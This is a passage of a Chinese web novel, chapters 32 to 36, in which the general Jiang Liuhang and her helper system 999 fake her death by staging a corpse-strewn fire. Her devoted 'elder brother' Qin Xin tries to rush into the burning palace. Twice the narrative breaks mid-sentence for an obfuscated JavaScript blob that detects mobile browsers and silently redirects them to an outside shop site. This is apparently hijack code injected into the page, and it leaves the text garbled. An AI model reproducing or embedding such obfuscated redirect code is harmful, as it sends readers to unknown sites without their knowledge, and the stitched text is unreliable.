许久,秦信才起身。左手提过一盏八方宫灯,右手抱起一摞奏报,径直走向殿角的紫檀书柜,淡声吩咐道:“安置吧。” 冯简连忙应是。 秦信走到书柜前,转动放在中层格子里的一本书。两圈过后,机括轻响,两扇厚重的柜门无声滑开,露出其后墙壁上一个幽深的洞口。 他提灯走入,反手在壁上一按。柜门又悄无声息地合拢。 冯简退出殿外,安排近卫值夜。 他知道,总督今夜,又将独自在那间地下密室中度过。 —— 密室内一片浓稠的黑暗,秦信沉默地点燃壁龛中的一盏盏灯笼。橘黄的光晕次第晕开,驱散黑暗。他走到角落的金漆梅纹香炉旁,添了一勺香灰。 檀香浅淡,丝丝缕缕弥漫开来,是六航钟爱的气息。 秦信抬头,目光缓缓扫过被灯火照亮的内室。 靠墙处,一张木床。床板、被褥、枕头,都是从梁州运回的六航用过的旧物。 而三面墙壁之上,密密麻麻,挂满了画像。 无一例外,全是六航。 战马嘶鸣,尘土飞扬,六航高举霹雳刀悍然劈下,刀锋映着残阳如血,照亮侧颜上溅落的敌血。 篝火噼啪,映亮六航专注凝视烤鸡的眼眸,跳跃的火星仿佛落入了那漆黑瞳孔。 山间温泉,氤氲白雾缭绕升腾,若隐若现勾勒出浸在水中的柔韧身形,一滴水滚过小臂上那颗红痣。褪下的衣裳随意散落岸边。 …… 秦信伫立画前,指尖无意识地一遍遍摩挲着腰间刀柄,幽深的眸底,翻涌着无人能见的汹涌暗流。 看完一幅,他缓缓移动脚步,到另一幅画前,目光贪婪地在上面盘桓。 灯火在他身后投下长长的影子,扭曲着,晃动着,仿佛是被困着的怪兽,急欲破笼而出,吞噬什么。 33. 第 33 章 距离皇宫不远处矗立着一座王府,前任主人随着宣德帝跑得没了影,秦信把这座王府给了姜六航。 两个近卫接着姜六航,欣喜不已,把她带到主院。 恐怕将军旅途劳累,两个近卫问候了几句就退出来,让将军休息。 999急得简直要上蹿下跳:“宿主!你为什么要到这里来?好好的一个大活人突然消失,逻辑崩坏,统会被扣积分的!” 姜六航眉眼镇定:“放心,离开之前,我会扫好尾巴。” “扫尾巴?来不及了!”999的声音带着哭腔,“监测显示,明天凌晨一点就是极限,不走就真死了。” 系统突然想起什么,狐疑地问:“你是不是想再见反派一面?还是裴佑?谢思礼?” 姜六航正蹲下按压地面,闻言手指一顿。心脏像是被无形的手攥紧,泛起细密的疼。那些名字,每一个都代表着她在这世上割舍不下的牵挂,尤其是那个予她权柄、信任,待她亲如兄弟的人。 999没察觉那点异样,刚说完又自我否定:“不对!想见他们,你不会磨蹭到宵禁前一刻才进府。”宿主分明是故意避开那些人。 “宿主,你究竟想干什么?” 姜六航压下喉间的哽意,起身走到一张小几前,抱起上面的一个白瓷花觚,掂了掂。 999纳闷地问:“宿主,你干嘛?” 姜六航:“这东西应该很值钱吧?” 999:? 难道,宿主想带陪葬品? “宿主,身外之物带不走的!” 姜六航挑眉:“哦?可我先前装行李的空间,不是装了许多?” “那不一样!”999急忙解释,生怕宿主等会儿走的时候要带着这个花觚,“装行李的空间依托宿主移动,设计得大。等会儿你要进的是身体传送空间,走特殊通道,只能容纳你的身体和……嗯,简单的衣物,其他东西,就算你攥手里、塞怀里,也会被空间排斥在外,金银首饰、厚重华服都进不去。” “哦。”姜六航若有所思,放下花觚,惋惜地摇头,“身外之物不行,那身内的呢?空间能判别吗?” 999茫然:“啊?” 姜六航没继续,只叹道:“可惜了。明明叮嘱过大哥,房里先别摆贵重物件。” 999正想问为什么可惜,姜六航神色一肃:“999,扫描王府,人数。” 这是要干正事了,999收起好奇心,依言行事,片刻后回报道:“宿主,包括你,一共十九人。” 姜六航点头:“嗯。” 偌大王府,除开两个近卫,仅十六个下人,算是极简了。幸亏她提前传信给大哥,反复强调要自己选人,否则只看房间里在她叮嘱过后仍然摆上的这些珍贵物件,绝不止这些人。 姜六航一边暗赞自己有先见之明,一边拿出几个装有迷香的竹筒,闪身出门。 系统扫描找人,姜六航负责动手,一人一统配合默契。半个时辰后,十七人都被放倒。 但寻遍王府,少了一个人。 999重新扫描一遍,府里只有十八个人了。 就这一会儿的功夫,有一人出了府。 姜六航也不在意,大哥安排在府的人肯定没问题,想必是有急事出去了,只要不碍着她的事就行。 她迅速回到主屋。 走到桌前铺开纸,执笔。笔尖悬停在纸面上方,凝聚的墨珠欲坠未坠。 姜六航咬着唇,手指紧紧捏着笔杆。 烛火跳跃,在她眸中映出细碎的光,宛如凝结的水光,微微颤动。 写什么? 大哥,我要走了,此生再不相见。 大哥,你好好保重,活到一百岁。 大哥,祝你此后一帆风顺,大展宏图,成一代明君。 大哥,愿你寻得意中人,白首到老。 …… 千言万语,堵在喉间,沉甸甸的,落不到纸上。 啪嗒。 一滴饱满的墨终究承受不住重量,坠落纸上,迅速洇染开一团污迹。 姜六航把纸揉成一团,狠狠掷向角落。 她重新铺开一张纸,闭上眼,深吸一口气,再睁开时,眼底已掩下所有情绪。 笔走龙蛇,一挥而就,不敢有片刻迟疑,怕稍一停顿,那些被强行压下的情绪就会决堤。 999看清字迹,惊讶地道:“宿主,这字,和上次给你师父留的完全不同!” 上次的字迹工整,这次却狂放潦草,而且书写方向也按了时人的习惯,竖着写的。 姜六航放下笔,声音有些沙哑:“嗯,上次是姜衡的字迹,姜帅的字,是这样的。”她吹了吹墨迹,看着那上面短短的一句话,满心都是难过。 “宿主,就只写这个?不再多写点?”宿主那模样,明明似有千言万语。 姜六航站起身:“不写了。” 她握住霹雳刀柄,把霹雳刀从鞘中抽出,走到屋角先前看好的位置,运转内力,灌注到刀身,刀尖精准地插入两块地砖缝隙,然后向后拖动。 在刺耳的摩擦声中,碎石飞溅。 999惊叫:“干什么干什么!” 姜六航充耳不闻,她眉眼沉毅,手稳稳握住刀柄,坚固的地砖在加持内力的刀锋下,脆弱得像薄薄的木料。 几个来回之后,她向上一撬,地砖松动,再几下,整块掀开,露出下方泥土。 一个一米多深的土坑很快挖成。 姜六航将那张只写了一句话的信纸,写字面向内折好,放入坑底。再填回泥土,压实。 “999,把尸体都搬出来。” “啊?” 姜六航走到门口:“这里。”脚步不停,转向一扇雕花木窗下,“这里。”最后走到另一扇窗下,“这里。” 她语速极快,999顾不上细问,按指定位置摆放好。 空间里时间静止,尸体保持着死时的狰狞姿态,手中紧握刀剑。 唯有一具,两手空空。 姜六航将它拖到离门口四五步处,把霹雳刀塞进他僵硬的右手,调整好握刀的姿势。接着,她快速穿梭在尸体之间,或调整倒伏的角度,或制造兵器碰撞的痕迹,或模拟临死反扑的动作……飞快地布置着一场惨烈到极致的围攻现场。 999看着,终于明白了宿主的金蝉脱壳之计。 尸体、鱼油,原来都用在这里。 难怪宿主之前杀完人,要特意扔掉一人的刀,现在又把霹雳刀塞回去。 也明白宿主为何说那些摆设“可惜”——可不是可惜吗?都要被付之一炬了! 可系统还是不懂,既然不见那些人,为何不悄无声息地走?非要搞这么大阵仗? —— 与此同时,一座院中,灯笼的光晕在夜风中摇曳,圈出一方森冷的空地。三具尸首,赫然陈列。 仵作半蹲在尸体旁,戴着一副薄如蝉翼的鱼皮手套,指尖捻着一根银针,小心翼翼地探入一处翻卷的刀口边缘,凝神细察。 姜子循和谢思礼盯着仵作的动作,眉头紧蹙,三个江湖汉子站立一旁。 检查完毕,仵作向两位大人禀报死因和推断的死亡时辰。 谢思礼转向那三个江湖汉子,目光锐利:“你们说,伤人者用的是刀?声音像姜帅?” “是的大人!”三人异口同声,瘦长脸补充道:“骑着一匹红马,兵器用布裹着,但看形状,绝对是刀!我们在山上瞧见他下山的影子,错不了!” 谢思礼沉吟不语,姜子循忍不住倾身问道:“谢执法,可有头绪?” “疑点重重!”谢思礼道,“别的且先不说,若真是将军出手,看这刀伤走势,分明意在制服而非夺命,却又为何坐视另两人被杀,又容凶手自戕?这说不通。” 那瘦长脸汉子急了,梗着脖子:“大人!我这双耳朵,自娘胎里带出来就灵,听声辨人,从不出错。哪怕只一个音,也瞒不过我。大人若不信,尽管一试!” 谢思礼与姜子循交换了一个眼神,当即下令:“背过身去。”瘦长脸依言转身。谢思礼随手点了一名军士,低声道:“说‘好’。”那军士依言发声。 随后,谢思礼命令周围军士下令依次说“好”。 众人压低嗓音,尽量模仿那军士发声,一声又一声的“好”字在夜风中接连响起。 瘦长脸背对着人群,当某个声音响起时,他耳廓猛地一颤,霍然转身,手指笔直指向那人。 快、准,无半 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在谢思礼策马冲出院子的同一刻,王府主院,姜六航现场布置完毕,直起身,目光缓缓地在尸体上扫过,遗憾地叹道:“少了。” 999:“……” “本帅如此绝高武功,被这么几十个人杀死,有些说不通啊。”姜六航再叹。 999:“贼人可能使了暗中手段!迷香、毒气,让宿主你一时不察中了招。府里那三个被迷晕的不就是证据吗?” “嗯嗯嗯。”姜六航点头,转到被屏风隔开的里间,用面盆装了水细细洗手,一边夸道,“有道理。” 999:“嘿嘿!” 然而笑声刚落,系统猛地反应过来:不对!以宿主的武功,完全可以无声无息打晕所有人,根本没必要用迷香。宿主分明是早就考虑到这点,补上了漏洞。刚才,是在逗统玩呢! 姜六航洗干净手,走到靠墙的黄花梨木立柜前,打开了柜门。 柜内,崭新的王袍整齐悬挂。玄色为底,金线盘绕,两条五爪金龙自肩头蜿蜒而下,龙睛以细小的墨玉点缀,在烛光下闪烁着幽冷威严的光。 指尖抚过细腻的衣料,那金线的纹路硌在指腹,心头像是被什么狠狠蛰了一下,强忍住泛起的涩意,她快速翻找,拎出一件相对简洁的常服,利落地脱下外衫换上。 她走到房间一角的等人高铜镜前,里面清晰地映出她的身影。 乌眉杏眼,面色磊落。 肩上,两条金龙仿佛活了过来,龙爪扣入云锦,似欲破衣而出,翱翔九天。 “好看。”999由衷赞道。 姜六航静静地看着镜中的自己,看着那象征着无上权柄的龙纹,视线一点点模糊。她极力控制着,唇角极淡地向上牵动了一下,扬起一个几乎看不见的弧度,声音轻得如同叹息:“是很好看。” 她猛地转身,不再看镜中人:“鱼油拿出来吧。” 随着话落,四桶散发着浓烈腥臭味的鱼油瞬间出现在房间中央。 刺鼻的气味弥漫开来,压过了血腥味。 姜六航一手抓着桶沿,一手抄着桶底,向上一扬,将鱼油泼洒向房间各处。液体在空中划出一道弧线,泼上纱帐、溅上梁柱、淋在那些精心布置的尸体和昂贵的家具器物上。 她动作不停,抓起第二桶…… —— 几乎在鱼油泼出的同一瞬间,勤政殿里,冯简疾步走入书柜后的暗门,顺着石阶下行,停在密室门前,叩响门扉。 “何事?”门内声音传出。 “总督,刚接到急报,将军已回王府!” 门“刷”地一声被从内拉开,秦信一步踏出,声音急切:“回来了?” “是!刚得的消息,已入府!”冯简飞快回道,眼角余光通过门口缝隙,正好瞧见密室墙上悬挂的一幅画。画中人银甲红袍,在军营中跨步而行,正是将军巡营的情景。只一眼,门已被总督关紧。 “走!”秦信大步走过,衣裳下摆带起一股劲风。 冯简赶紧跟上。 殿外,夜风骤起,檐下宫灯摇曳,发出呜呜的响声,光影左右晃动,映得人脸明明灭灭。 34. 第 34 章 四桶鱼油尽数泼洒干净,浓烈刺鼻的气味弥漫,几乎令人窒息。 999咂舌:“宿主,你这是生怕烧不干净啊?” 姜六航眼睫都没动一下,很平静地回道:“是啊。” 她抄起桌上一盏红纱宫灯,“嗤啦”一声撕开灯罩,火苗被不知哪里来的风吹得摇晃着。她深吸一口气,扬手便将宫灯掷向浸满油脂的地面。 “轰——!” 灯盏碎裂,火光窜起,如蜿蜒的火龙,瞬间绕过半个房间。烈焰左冲右突,张牙舞爪,吞噬着一切可燃之物,火势以肉眼可见的速度疯狂蔓延。 “哔啵!哔啵——” “轰轰轰——” 姜六航将先前脱下的外衣丢入火堆,布料顷刻间化为飞灰。 火舌终于攀上了地上的尸体。 “滋滋滋——滋滋滋——”油脂燃烧的声音令人牙酸,空气中弥漫开皮肉焦糊的恶臭。 浓烟滚滚袭来,刺得姜六航双目涩痛难睁,每一次呼吸都像吞下滚烫的沙砾,胸口窒闷欲裂。灼人的热浪一波波拍打在身上,皮肤紧绷发烫。 “宿主,京城扫描完成,随时可以撤离!”999的声音里充满兴奋,“现在走吗?” “等一会。”姜六航指了指那具拿着霹雳刀的尸体,“我要看着他。” “啊?对对对!得看着,看着他烧得面目全非才稳妥。”999恍然,“要是尾巴没扫干净,被扣积分,那就亏大了。” “嗯。”姜六航应了一声,被烟雾呛得咳嗽起来。 这样不行。 没被烧死,倒要先被这烟呛死。 她屈膝矮身,避开翻涌的浓烟,正想寻块湿布掩住口鼻,999的声音响起:“宿主,统给你加个防护罩吧?” 姜六航一顿:“行。” 一层近乎透明的浅绿色光晕凭空出现,将她笼罩其中。光罩内,空气骤然清新,灼热感也消失无踪。火焰被屏障隔绝,随着她的脚步向两侧分开。 “宿主,外人看不见这光罩,但为了避免上演灵异事件,光罩接触到人的目光,会自行消散。” “哦,原来这光罩见不得人。” 999:“……” 道理是没错,可宿主这话听着,怎么这么别扭呢? 姜六航走到那具选定的尸体旁,蹲下身仔细观察。 衣物、毛发早已化为乌有,部分皮肉被烧得焦黑卷曲、脱落,露出底下碳化的肌理,散发出令人作呕的气味。 但,还不够。 脸庞尚能辨认轮廓,右臂上的刺青也残留着痕迹。 999趁此间隙交代后续:“宿主,稍后你进入特设空间,本统把你的身体送到云山,然后启动回归设置,你的精神体就回到原来的世界啦,我也回去啦。”系统的声音里满是即将达成目标的雀跃。 姜六航淡声道:“恭喜你。” 999:“同喜同……喜。” 最后一个“喜”字陡然低弱下去。 系统猛然想起,宿主本不打算回去,是被情势所迫,不得不回去,并没有什么喜可言。 停了停,999又确认:“宿主,确定要把身体运到梁州云山安葬吗?空间运送只有一次机会。” 姜六航毫不犹豫:“确定。” 屋内充斥着火焰燃烧的爆裂声、坠落声…… 姜六航侧耳倾听,远处隐约传来鼎沸的人声。 府中的人早已被弄倒,但这冲天大火,足以惊动整个京城。 不过等他们赶过来,也烧得差不多了。 就在这时,声声凄厉的鸟鸣穿透火场的喧嚣。 “啾啾——!啾啾——!啾啾啾啾!” 姜六航微微一怔,目光下意识往外看去。 一只灰鸟正疯狂地绕着火海盘旋、哀鸣。它一次次俯冲而下,试图扎入火场,却又一次次被灼人的火浪狠狠掀飞,发出绝望的悲啼。 “小灰!”999惊叫。 看着那绝望盘旋的灰影,姜六航喉间微微一紧,强迫自己移开视线。 999声音低落:“以后,再见不到小灰了。” 这是统生里交的第一个活生生的朋友,虽然只是单方面的情谊。 999忽然想到,自己与小灰不过相识数月,分别已是如此不舍。宿主在这个世界生活了二十年,有生死与共的袍泽,有肝胆相照的伙伴。此刻她心中,该是何等滋味? 而那些得知她“死讯”的人,又该是怎样的伤心? 宿主不可能想不到这点。 她本可以悄无声息地离开,让他们以为她还活在这世上的某个角落,却为何要精心策划这样一场轰轰烈烈的“死亡”,亲手将悲伤的利刃刺入他们的心口? “宿主。”999迟疑着问道,“统还是不明白,为什么一定要这样?让他们以为你失踪,不好吗?” 系统以为和上次一样,得不到答案,然而,这一次,宿主开口了,声音在火焰的噼啪声中格外清晰:“因为,我要让全天下的人都明明白白地知道,”姜六航一字一顿,“姜帅死了,死得透透的。” —— 在姜六航掷下宫灯的同时,寂静空旷的京道上,四十余骑急驰而来。 马蹄铁撞击青石板,发出疾风骤雨般的“踏踏”声,震碎了夜的死寂。马上骑士个个煞气凛然,披甲佩刀,护卫着中间一道身影。 巡夜军士早已得令避让道旁。 这队人马没有丝毫减速,裹挟着风雷之势呼啸而过。 中间的那人,脸上没有丝毫表情,目光炯然,直视前方。他身上的黑色大氅被疾风鼓荡,在夜色中向后飞扬起,猎猎作响。 待他们卷起的烟尘稍散,路旁军士才敢低声议论。 “是总督!” “出什么大事了?急成这样……” 忽然,一个眼尖的军士指着远处天空失声惊叫:“快看!那边!是不是起火了?” 众人循声望去,只见本应漆黑的天幕,赫然被映染成一片诡异的、不祥的猩红。 “好大的火!”众人骇然。 领队迅速指派一人:“速去上报!”随即招呼其他人:“跟我去救火!”率先朝着那片红光冲去,众军士紧随其后。 而在他们发现异常之时,一马当先的秦信,早已先一步察觉。当那刺目的猩红骤然腾起,他心脏像是被一只冰冷的手狠狠攥住,不祥的预感如毒藤疯长。他扬鞭指向那处,声音紧绷,问紧跟在侧的冯简:“看那里!是不是王府方向?是不是起火了?” 冯简凝目远眺,火光映亮了他眼底的惊骇:“总督!看方位,正是王府所在!” 一股寒气瞬间冻彻全身,秦信猛地一咬舌尖,双腿狠狠一夹马腹,手中马鞭带着裂空之声,疯了一般抽在坐骑身上! “驾——!!!” 座下神骏吃痛,发出一声悲鸣,四蹄腾空,瞬间将身后近卫甩开数丈。 “驾!驾!驾!” 鞭子如雨点般落下,凄厉的马鸣在夜空中回荡。 秦信已全然不顾坐下马的死活,疯狂地催逼前进,那双深不见底的眸子里,翻涌着浓厚暗色。 近卫们拼命催马追赶,奈何坐骑脚力相差悬殊,唯有冯简勉强跟上。 “总督!起火虽在王府方向,未必就是王府!即便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795227|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以将军的身手……”冯简试图宽慰,声音被迎面灌入的风扯得破碎。 秦信一个字也听不进去。 所有的声音、所有的景象都已远去,他的整个世界只剩下前方那片刺目的血红。胸腔中满是恐惧,心脏剧烈跳动,几乎要炸裂开。 另一条通往王府的街道上,疾行的姜子循和谢思礼也同时勒住了马缰。 “大人!看那边,起火了!”军士惊叫。 姜子循只扫了一眼,脸色“唰”地惨白如纸。 他对京城布局了如指掌,那方位…… “是……是总督赐给将军的王府!”他的声音抑制不住地颤抖。 谢思礼眉头拧成了死结:“意外?还是……” 两人目光在空中相撞,方才那三具斩月楼杀手的尸体瞬间浮上心头,一个可怕的念头同时升起。 难道,将军已遭不测?否则怎会任由王府陷入如此滔天火海? 两人不约而同猛甩一鞭,策马狂奔。 姜子循冲在最前,除了担忧将军,他更有一层不能对人说的深深恐惧:若将军真有不测,总督他…… 激灵灵打了个寒颤,他不敢再想下去,只是口中连连喝斥,疯狂地催马前行,恨不得立刻飞到那火场。 —— 王府主院,姜六航正对999解释。 她不能停下,不能让脑子想别的,否则会被悲伤淹没。 “宣德二十三年,忠王李裕杀入京城,宣德帝不知所踪。这五六年间,多少豪强拥立一个又一个‘宣德帝’,打着正统旗号招兵买马。就是归降的原池州总督张炎,以前也找了一个相像的人扮作宣德帝,昭告世人,奉圣谕讨伐逆贼,助帝复位,由此获得许多人投奔、拥护。在一众角逐的势力中,他能坚持到最后,这个是原因之一。” 她这位战功赫赫、威名远播的姜帅若只是失踪,反对新朝的势力,会如何编造姜帅功高震主,被新帝暗害的谣言?会有多少野心家,打着“为姜帅复仇”的旗号,将这片好不容易初定的大地再次拖入血海? 姜六航勾起嘴角:“我不能让他们拿我当幌子。” “我要天下所有人都明明白白地知道,姜帅死了!” “被斩月楼帮众围攻,放火烧死!” 999恍然大悟:“哦。”又赞道,“宿主你相得真周到!” 姜六航低眼瞧着衣裳下摆处绣着的海水江崖纹,捏紧手指。 她精心策划这场举世瞩目的死遁,还有深埋心底、未曾对系统说出的缘由。 她不愿大哥以为她还活着。 不愿大哥在漫长的岁月里煎熬、寻觅、用一辈子进行一场注定无望的寻找,一次又一次失望,直至耗尽一生。 长痛,不如短痛。 痛过之后,收起悲伤,重新开始。 她回到原来的世界后,也会将这份哀伤和思念封存,努力好好地活下去。 “六航——!” 忽然一声嘶哑的呼喊传来,姜六航猛地抬头。 一股冰寒彻骨的战栗瞬间从脊椎窜上天灵盖,浑身血液都似在这一刹那凝固。 是大哥的声音! 这声音里含着的惊惶、绝望,比她上次药毒发作时听过的更甚! 姜六航弹身而起,朝着窗边不顾一切地扑去。 “宿主!防护罩见不得人!”999急喊。 姜六航扑出去的动作硬生生卡在半空,巨大的惯性让她踉跄一步,抵住一根燃烧的梁柱,这才没摔倒。她咬住下唇,压下几乎冲到喉咙的回应,强迫自己冷静下来,掩住身形,从旁潜行到窗边。 屏住呼吸,她向外望去。 35. 第 35 章 姜六航的目光穿过肆虐的火光与呛人的浓烟,投向屋外。 一匹黑色骏马冲破夜色,长鸣着疾驰而至。马未停稳,一道身影已滚下马背,黑色大氅的下摆被什么挂住,“嗤啦”一声撕裂开来。那人踉跄着,全然不顾,望着火场喊了一声“六航!”,不见回应,一头扎进熊熊烈焰之中。 是大哥! 姜六航抿紧唇,右手不自觉地去握霹雳刀,却握了个空。 大哥怎么会来? 她特意挑的深夜进府,就是为了避免当面死别。 谁知精心的策划却落了空。 姜六航转头,仓促四顾。 火势冲天,浓烟滚滚,将房屋紧紧包裹其中,“噼啪噼啪——”不时有燃烧着的木头从屋顶掉落,砸在地上。 整个屋子摇摇欲坠,随时都会倒塌。 不能让大哥进来!必须阻止他! 可她不能现身在大哥面前。 正当姜六航焦急时,忽地一声急呼传来:“总督!” 她听出是冯简的声音,心下稍稍一松,赶紧朝外望去,却见冯简紧追而至,从马背上飞掠而起,几个纵跃,也扑入了火海。 两三分钟后,两个人影纠缠着出来。 两人都在剧烈地呛咳,身上窜着火苗。冯简双手急拍,扑灭秦信衣袍上的火焰,又飞快脱下自己的外衫往地上摔打。 然而,冯简才摔了一下,竟见总督又再次冲向火口。 “总督!”他骇然失色,扑上去死死抱住前奔之人的胳膊,“不能进去!这么大的火,进去是送死!” 秦信猛力挣扎,欲要甩开他:“六航在里面!” “将军或许已经脱身了!”冯简急吼。 “那他人呢?!”秦信猛地扭头,眼里布满血丝,声音因极度恐惧而扭曲,“若在外面,怎会不救火?怎会不见踪影?” 冯简张着嘴,喉结滚动,却一个字也吐不出来。 屋内,姜六航见此情景,心下发沉——冯简只怕拦不住大哥。 “放开!”秦信厉喝。 冯简咬着牙,不肯松手。 “锵——!” 一声刺耳的金属摩擦声,如同惊雷炸响在姜六航耳边。 火光映照下,大哥的另一只手已拔出腰间匕首,冰冷的锋刃死死抵在冯简臂上,刃口反射着跳跃的火焰,一片妖异的猩红。 他重复着,字字如冰锥:“放!开!” 那双温润含笑的凤眸,此刻只露出骇人的锐利,眸内一片赤红,脖颈上青筋暴凸,俊朗的面庞沾染上了一道道烟灰,唇角神经质地抽搐着。 哪里还是那个温润的翩翩公子? 分明是一个歇斯底里的困兽,一个地狱里爬出的恶鬼。 心脏仿佛被钝刀反复切割拉扯,痛得姜六航几乎无法呼吸。 大哥!我没想让你亲眼见着我,离去。 那痛,那眼看着至亲、至爱之人死去却不能救,永不能消弭的痛,我知道! 我不愿让你经历那样的煎熬。 那持着匕首的手腕陡然下压! 姜六航大骇,一声喊到了喉咙口。 “总督!” “总督!” 忽然传来许多人的呼喊,眼见大哥下压的动作滞住,抬头望去,姜六航大松一口气,把那声差点出口的喊咽了回去,跟着朝声音来处望去。 一大群人朝这边跑过来,最前是近卫们,其后是姜子循、谢思礼以及闻讯赶来的巡夜军士和附近府邸的人。 众人提着水桶,奔跑着将水泼向熊熊烈焰。 两名近卫肩上扛着人,疾奔到秦信面前:“总督!发现沈近卫和石近卫被击晕在房中!” “击晕?”秦信声音颤抖,眸中盛满恐惧。 不是意外! 是刺杀! 是有人潜入,打晕守卫,纵火行凶! 敌人有多少?六航此刻,是在火海中浴血搏杀,还是已经、已经…… 姜子循冲过来:“快弄醒他们问话!” 近卫们放下昏迷的两人,掐人中、泼冷水,一番忙乱。 终于,沈以贵眼皮颤动,悠悠转醒。 冯简几乎是扑上去,一把揪住他的衣领将他半提起来,贴着他的脸大吼:“将军呢?将军在哪里?” 沈以贵涣散的目光逐渐聚焦,猛地一个激灵,伸手指向火海:“将军!将军还在里面!” 冯简揪着沈以贵衣领的手瞬间僵住,指节捏得发白,下意识要回头看总督的表情,却又不敢。 “当啷!” 秦信手中的匕首坠地,发出一声沉闷的钝响,他僵在那里,面色一瞬间白得吓人。 “快救火!” 姜子循最先从噩耗中回神,指挥众人提水。 可是火太大了,一桶桶的水泼上去,转瞬化作白气,火势不减反增,如狂舞的赤龙,要毁灭它包裹住的一切。 秦信眼睛睁大到极致,漆黑的瞳孔里映入漫天火光。他突然扯下大氅扔到地上,冲到一名提桶的军士旁,劈手夺过水桶,举过头顶,兜头淋下。 冰冷的水瞬间浸透全身,顺着发梢衣角淋漓滴落。他甩开空桶,再次冲向火海。 “总督!”冯简“扑通”跪倒,用尽全身力气抱住他的右腿,“不行!不行啊!” “滚开!”秦信暴喝。 有人在奔跑,有人在呼喝,可是这一切都离秦信很远,仿佛被隔离在另外一个世界里。他只看见满眼如血的红光,只听见火烧着的“劈里啪啦”的声音。 秦信拖着冯简前行,拼尽全力也才走出两步。他突地抬起左腿,狠狠地踢在冯简肩上。 “总督,沈以贵晕了,后面的事他都不知道!”冯简闷哼一声,仍死死抱住,“将军说不定不在里面,去追敌了!” 秦信置若罔闻,怒喝道:“滚!” 余人围在一旁,手足无措。 姜子循脸色苍白:“总督万金之躯……”话未说完,猛然对上转来的视线,那双眼中翻涌的血色,竟比眼前的烈焰更红、更烈,他心头剧震,剩下的话生生噎住。 “总督!我去救将军!”一名近卫嘶吼着淋湿自己,用湿布掩住口鼻。 “我也去!” 十余名近卫紧随其后,决然地冲向火海。 姜六航站在窗边,指甲深深掐入掌心,烙下血痕,她却感觉不到丝毫疼痛。 她看着—— 看大哥面色扭曲,几近癫狂,一脚踢在冯简身上。 看姜大人神情焦急,汗水混着烟灰淌下。 看沈以贵一巴掌打得自己嘴角渗血。 看谢思礼提着空桶摔倒,巾帼散落,发丝凌乱,却死死抓着桶柄爬起,跌跌撞撞汇入取水的人流。 看那些熟悉的身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805520|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义无反顾地奔赴火海。 …… 她的亲人、她的战友! 眼睛像被针刺痛,可姜六航仍然死死地睁大双眼,一眨不眨地看着。 不闭眼! 要记住!记住这一切! “宿主,房屋快要倒了!他们靠近会被活埋的!”999惊慌地叫。 “准备,等房屋倒下时,拉我进空间。”姜六航眼中映出冲来的身影,默默地估算。 “好。”999应了一声,又担心地问,“那些冲来的人怎么办?” “我来解决。” “好!”999放下心。 系统现在对宿主十分信任,宿主说解决,那就一定能解决。 姜六航从怀中取出一物,含在嘴里。 她动作很快,999没看清是何物,正要问,却见宿主猛然向上窜起。 “嘭!”光罩狠狠撞在燃烧的屋顶横梁上。 撞击声混在火焰爆裂声中,并不突兀,但震动却让几根燃烧的柱子啪啪落下。 被巨大的反作用力弹回地面,姜六航没有丝毫停顿,瞬间调整角度,再次悍然撞去! “嘭!” “嘭!” “嘭!” “轰隆隆——!!!” 天崩地裂般的巨响中,房屋轰然倾塌! 隔着烟与火,姜六航最后一眼望向外面,正好撞入秦信蓦然瞪大的、惊骇欲绝的红色的眸,那里面倒映着崩塌的房屋。 与此同时,她的意识如同被瞬间抽离,沉入无边黑暗。 轰隆!轰隆!轰隆! 时间仿佛凝固。 奔跑的、呼喊的、泼水的……所有人都如同被无形的巨手扼住,僵在原地,目光呆滞地望向那片吞噬一切、仍在疯狂燃烧的废墟。 那些冲过来的近卫,离崩塌的房屋仅有两三步之遥,若非房屋向另一侧倒塌,他们已然葬身火海。 死寂。 满场没有一人说话,只有房屋倾塌的“轰隆”声,如同敲响的丧钟。 “啊——!” 仿佛过了许久许久,又仿佛只是片刻,一声不似人声的吼叫响起。 沙哑的、撕裂的、泣血的。 让人想起失去伴侣的鸳鸯,荒野中仰天悲嚎的孤狼,折断翅膀坠地的苍鹰,困在陷阱绝望挣扎的野兽。 “啊!”又是一声更凄厉、更绝望的嘶吼,秦信骤然爆发出巨大的力量,将冯简狠狠掀飞出去,不顾一切地扑向那座仍在塌陷的房屋。 “总督!”无数人惊慌地叫。 可秦信全没听见,他只顾往前奔,到了近前,他伸出双手去扒拉那些犹在熊熊燃烧的梁木。 近卫们魂飞魄散地扑上去拉扯。 可他像失去了理智,也失去了痛觉,不管不顾地,用手、用脚、用头,用他身体的一切部位去碰触火堆,试图推开那些掩盖的物体。 好几个近卫竟然都拉不住,火舌舔上他的衣裳,皮肤接触处发出“滋滋”的可怕声响。 “打晕他!”姜子循急喊。不知不觉,他已泪流满脸。 冯简应声抢到秦信身后,手刀蓄满力道,狠狠劈下! 手刀劈到后颈的那一刻,秦信喉中发出一声极轻微的破碎的呜咽。这声刺破黑暗,穿越时空,让姜六航的意识有刹那的清醒,但很快又被一股莫名的力量重新按回黑暗之中。 36. 第 36 章 “宿主、宿主,快醒醒——,呜呜呜……,快醒醒——” 一个带着哭腔的女孩声音,执拗地在姜六航的脑子里回荡,吵得她颅骨生疼。 是999?她模糊地想。 念头刚起,又升起一股强烈的违和感。好像,她不该再听见这个声音。 她想呵斥999闭嘴,舌尖一动,却触碰到一个冰凉坚硬的异物。与此同时,泥土的腥涩味道猛地冲进口腔,呛得她喉头发紧。 